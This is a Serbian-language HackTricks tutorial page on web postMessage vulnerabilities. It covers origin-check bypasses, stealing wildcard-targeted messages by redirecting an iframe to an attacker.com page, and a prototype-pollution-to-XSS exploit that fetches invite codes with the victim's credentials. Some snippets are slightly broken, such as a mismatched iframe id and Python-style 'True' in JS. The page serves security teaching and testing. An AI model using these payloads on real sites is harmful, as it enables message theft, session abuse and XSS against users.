PostMessage Ranljivosti

Reading time: 9 minutes

PostMessage Ranljivosti

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Pošalji PostMessage

PostMessage koristi sledeću funkciju za slanje poruke:

bash
targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Napomena da targetOrigin može biti '*' ili URL kao što je https://company.com.
U drugom scenariju, poruka se može slati samo toj domeni (čak i ako je izvor objekta prozora drugačiji).
Ako se koristi wildcard, poruke se mogu slati bilo kojoj domeni, i biće poslate na izvor objekta Window.

Napad na iframe & wildcard u targetOrigin

Kao što je objašnjeno u ovom izveštaju, ako pronađete stranicu koja može biti iframed (bez zaštite X-Frame-Header) i koja šalje osetljive poruke putem postMessage koristeći wildcard (*), možete modifikovati izvor iframe-a i leak osetljivu poruku na domen koji kontrolišete.
Napomena da ako stranica može biti iframed, ali je targetOrigin postavljen na URL i ne na wildcard, ova trik neće raditi.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener eksploatacija

addEventListener je funkcija koju koristi JS da deklarira funkciju koja očekuje postMessages.
Koristiće se kod sličan sledećem:

javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Napomena u ovom slučaju kako prva stvar koju kod radi je provera porekla. Ovo je strašno važno posebno ako stranica planira da uradi bilo šta osetljivo sa primljenim informacijama (kao što je promena lozinke). Ako ne proverava poreklo, napadači mogu naterati žrtve da pošalju proizvoljne podatke na ove krajnje tačke i promene lozinke žrtava (u ovom primeru).

Enumeracija

Da biste pronašli slušaoce događaja na trenutnoj stranici možete:

  • Pretražiti JS kod za window.addEventListener i $(window).on (JQuery verzija)
  • Izvršiti u konzoli alata za razvoj: getEventListeners(window)

  • Ići na Elements --> Event Listeners u alatima za razvoj preglednika

Zaobilaženje provere porekla

  • event.isTrusted atribut se smatra sigurnim jer vraća True samo za događaje koje generišu stvarne korisničke akcije. Iako je izazovno zaobići ga ako je pravilno implementiran, njegova važnost u bezbednosnim proverama je značajna.
  • Korišćenje indexOf() za validaciju porekla u PostMessage događajima može biti podložno zaobilaženju. Primer koji ilustruje ovu ranjivost je:
javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • search() metoda iz String.prototype.search() je namenjena za regularne izraze, a ne za stringove. Prosleđivanje bilo čega osim regexp-a dovodi do implicitne konverzije u regex, što čini metodu potencijalno nesigurnom. To je zato što u regex-u, tačka (.) deluje kao džoker, omogućavajući zaobilaženje validacije sa posebno kreiranim domenima. Na primer:
javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() funkcija, slična search(), obrađuje regex. Ako je regex nepravilno strukturiran, može biti podložan zaobilaženju.

  • escapeHtml funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ne stvara novi bežani objekat već prepisuje svojstva postojećeg objekta. Ovo ponašanje može biti iskorišćeno. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje hasOwnProperty, escapeHtml neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:

  • Očekivani neuspeh:

javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Zaobilaženje bežanja:
javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

U kontekstu ove ranjivosti, File objekat je posebno podložan eksploataciji zbog svog samo-za-čitanje name svojstva. Ovo svojstvo, kada se koristi u šablonima, nije sanitizovano od strane escapeHtml funkcije, što dovodi do potencijalnih bezbednosnih rizika.

  • document.domain svojstvo u JavaScript-u može biti postavljeno od strane skripte da skraćuje domen, omogućavajući opušteniju primenu politike istog porekla unutar istog roditeljskog domena.

e.origin == window.origin zaobilaženje

Kada se ugrađuje web stranica unutar sandboxed iframe koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se radi o sandbox atributima i njihovim implikacijama na bezbednost i funkcionalnost.

Specifikovanjem allow-popups u sandbox atributu, svaki prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da osim ako allow-popups-to-escape-sandbox atribut nije takođe uključen, poreklo prozora je takođe postavljeno na null, usklađujući se sa poreklom iframe-a.

Kao rezultat, kada se prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u prozor koristeći postMessage, i pošiljalac i primalac imaju svoja porekla postavljena na null. Ova situacija dovodi do scenarija gde e.origin == window.origin se ocenjuje kao tačno (null == null), jer i iframe i prozor dele istu vrednost porekla null.

Za više informacija pročitajte:

Bypassing SOP with Iframes - 1

Zaobilaženje e.source

Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za Content Scripts iz proširenja preglednika da provere da li je poruka poslata sa iste stranice):

javascript
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Možete primorati e.source poruke da bude null tako što ćete kreirati iframe koji šalje postMessage i koji je odmah obrisan.

Za više informacija pročitajte:

Bypassing SOP with Iframes - 2

X-Frame-Header zaobilaženje

Da biste izvršili ove napade, idealno bi bilo da možete staviti web stranicu žrtve unutar iframe. Ali neki headeri poput X-Frame-Header mogu sprečiti to ponašanje.
U tim scenarijima možete i dalje koristiti manje prikriven napad. Možete otvoriti novu karticu za ranjivu web aplikaciju i komunicirati s njom:

html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Krađa poruke poslata detetu blokiranjem glavne stranice

Na sledećoj stranici možete videti kako možete ukrasti osetljive postmessage podatke poslata child iframe blokiranjem glavne stranice pre slanja podataka i zloupotrebom XSS u detetu da procuri podatke pre nego što budu primljeni:

Blocking main page to steal postmessage

Krađa poruke modifikovanjem lokacije iframe-a

Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete promeniti lokaciju tog child iframe-a, tako da ako prima postmessage poslatu koristeći wildcard, napadač može promeniti tu iframe izvor na stranicu koju kontroliše i ukrasti poruku:

Steal postmessage modifying iframe location

postMessage do Prototype Pollution i/ili XSS

U scenarijima gde se podaci poslati putem postMessage izvršavaju putem JS, možete iframe-ovati stranicu i iskoristiti prototype pollution/XSS šaljući eksploataciju putem postMessage.

Nekoliko veoma dobro objašnjenih XSS kroz postMessage može se naći na https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Primer eksploatacije za zloupotrebu Prototype Pollution i zatim XSS putem postMessage na iframe:

html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Za više informacija:

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks